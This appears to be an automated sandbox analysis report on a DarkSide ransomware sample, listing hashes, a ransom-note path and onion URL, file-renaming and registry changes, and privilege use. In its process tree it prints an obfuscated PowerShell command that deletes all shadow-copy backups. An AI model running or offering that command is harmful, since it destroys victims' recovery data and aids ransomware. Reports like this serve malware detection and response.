Overview
overview
10Static
static
81667e16357...43.exe
windows7_x64
31667e16357...43.exe
windows10_x64
317139a10fd...61.exe
windows7_x64
1017139a10fd...61.exe
windows10_x64
101cc7c198a8...cb.exe
windows7_x64
101cc7c198a8...cb.exe
windows10_x64
10243dff06fc...60.exe
windows7_x64
10243dff06fc...60.exe
windows10_x64
1027214dcb04...8f.exe
windows7_x64
1027214dcb04...8f.exe
windows10_x64
103dabd40d56...a6.exe
windows7_x64
33dabd40d56...a6.exe
windows10_x64
343e61519be...aa.exe
windows7_x64
1043e61519be...aa.exe
windows10_x64
1048a848bc9e...3a.exe
windows7_x64
1048a848bc9e...3a.exe
windows10_x64
10508dd6f7ed...dd.exe
windows7_x64
10508dd6f7ed...dd.exe
windows10_x64
10516664139b...4b.exe
windows7_x64
10516664139b...4b.exe
windows10_x64
10533672da9d...8d.exe
windows7_x64
10533672da9d...8d.exe
windows10_x64
106228f75f52...ff.exe
windows7_x64
106228f75f52...ff.exe
windows10_x64
106836ec8588...d8.exe
windows7_x64
36836ec8588...d8.exe
windows10_x64
368872cc22f...e7.exe
windows7_x64
1068872cc22f...e7.exe
windows10_x64
10691515a485...a5.exe
windows7_x64
10691515a485...a5.exe
windows10_x64
1078782fd324...34.exe
windows7_x64
1078782fd324...34.exe
windows10_x64
10Analysis
-
max time kernel
110s -
max time network
115s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
12-05-2021 19:34
Static task
static1
Behavioral task
behavioral1
Sample
1667e1635736f2b2ba9727457f995a67201ddcd818496c9296713ffa18e17a43.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
1667e1635736f2b2ba9727457f995a67201ddcd818496c9296713ffa18e17a43.exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Resource
win7v20210410
Behavioral task
behavioral4
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win7v20210410
Behavioral task
behavioral6
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win7v20210410
Behavioral task
behavioral8
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win10v20210410
Behavioral task
behavioral9
Sample
27214dcb04310040c38f8d6a65fe03c14b18d4171390da271855fdd02e06768f.exe
Resource
win7v20210410
Behavioral task
behavioral10
Sample
27214dcb04310040c38f8d6a65fe03c14b18d4171390da271855fdd02e06768f.exe
Resource
win10v20210410
Behavioral task
behavioral11
Sample
3dabd40d564cf8a8163432abc38768b0a7d45f0fc1970d802dc33b9109feb6a6.exe
Resource
win7v20210410
Behavioral task
behavioral12
Sample
3dabd40d564cf8a8163432abc38768b0a7d45f0fc1970d802dc33b9109feb6a6.exe
Resource
win10v20210410
Behavioral task
behavioral13
Sample
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Resource
win7v20210410
Behavioral task
behavioral14
Sample
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win7v20210410
Behavioral task
behavioral16
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Resource
win7v20210410
Behavioral task
behavioral18
Sample
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
516664139b0ddd044397a56482d7308d87c213c320a3151ccb9738e8f932654b.exe
Resource
win7v20210410
Behavioral task
behavioral20
Sample
516664139b0ddd044397a56482d7308d87c213c320a3151ccb9738e8f932654b.exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Resource
win7v20210410
Behavioral task
behavioral22
Sample
533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Resource
win10v20210410
Behavioral task
behavioral23
Sample
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Resource
win7v20210410
Behavioral task
behavioral24
Sample
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Resource
win10v20210410
Behavioral task
behavioral25
Sample
6836ec8588b8049bcd57cd920b7a75f1e206e5e8bb316927784afadb634ea4d8.exe
Resource
win7v20210410
Behavioral task
behavioral26
Sample
6836ec8588b8049bcd57cd920b7a75f1e206e5e8bb316927784afadb634ea4d8.exe
Resource
win10v20210410
Behavioral task
behavioral27
Sample
68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Resource
win7v20210410
Behavioral task
behavioral28
Sample
68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Resource
win7v20210410
Behavioral task
behavioral30
Sample
691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Resource
win7v20210410
Behavioral task
behavioral32
Sample
78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Resource
win10v20210410
General
-
Target
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
-
Size
59KB
-
MD5
5ff75d33080bb97a8e6b54875c221777
-
SHA1
810d6c70a96584486867cedde111a1087ed1ebe7
-
SHA256
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff
-
SHA512
a6b87ddcaa797a4d8abc06a786a7186fe43eef5e3291402f81b95a180b7fb746f88cd0f408a089deb5321ecf0d2ac3cca479fdc1f782771749df0ac5a082ac00
Malware Config
Extracted
C:\\README.341d6443.TXT
darkside
http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\ExitEnter.png.341d6443 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe File renamed C:\Users\Admin\Pictures\GroupInstall.raw => C:\Users\Admin\Pictures\GroupInstall.raw.341d6443 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe File opened for modification C:\Users\Admin\Pictures\GroupInstall.raw.341d6443 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe File opened for modification C:\Users\Admin\Pictures\TestGet.tiff 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe File renamed C:\Users\Admin\Pictures\TestGet.tiff => C:\Users\Admin\Pictures\TestGet.tiff.341d6443 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe File opened for modification C:\Users\Admin\Pictures\TestGet.tiff.341d6443 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe File renamed C:\Users\Admin\Pictures\ExitEnter.png => C:\Users\Admin\Pictures\ExitEnter.png.341d6443 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP" 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP" 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exepid process 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe -
Modifies Control Panel 1 IoCs
Processes:
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10" 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe -
Modifies registry class 5 IoCs
Processes:
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443" 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico" 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exe6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exepid process 628 powershell.exe 628 powershell.exe 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeSecurityPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeTakeOwnershipPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeLoadDriverPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeSystemProfilePrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeSystemtimePrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeProfSingleProcessPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeIncBasePriorityPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeCreatePagefilePrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeBackupPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeRestorePrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeShutdownPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeDebugPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeSystemEnvironmentPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeRemoteShutdownPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeUndockPrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeManageVolumePrivilege 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: 33 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: 34 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: 35 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe Token: SeDebugPrivilege 628 powershell.exe Token: SeBackupPrivilege 860 vssvc.exe Token: SeRestorePrivilege 860 vssvc.exe Token: SeAuditPrivilege 860 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exedescription pid process target process PID 788 wrote to memory of 628 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe powershell.exe PID 788 wrote to memory of 628 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe powershell.exe PID 788 wrote to memory of 628 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe powershell.exe PID 788 wrote to memory of 628 788 6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:860
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD57ec043273c8dc7ac33a0575b48d29730
SHA12633d79a63fd4d6c0861f2a8ea60c36cfac39f92
SHA256b4f3c9858fa1c0ebb1c179712793a5245f9dc4fa5dcaf00c32f31a230cf9cd9b
SHA51239ba111171d8ddc995dcefcea33196beecb954c0baec8e9319ea314c279ff5b7611bb9b3c0c1b3cd2ecdd9335ed15c2ee7c12747c47264af921bac4748657f9d
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5f12524f9851552507f6e563abe2cdfc0
SHA1af57a9a122aa4673011a9c43184d0f856d372d16
SHA2563e4110e678aceb35f64453e241a9c92a534d7d5e5490309e757999c4a7c624d2
SHA512f635cdff5819401c0fd5515d78368b611b6bb657a3d1ba75c569861e0915af2a3335a24ce44e4f523b4cf8f381e6e20b9dce2905cecb9ffbb8c62cbc69a94f4f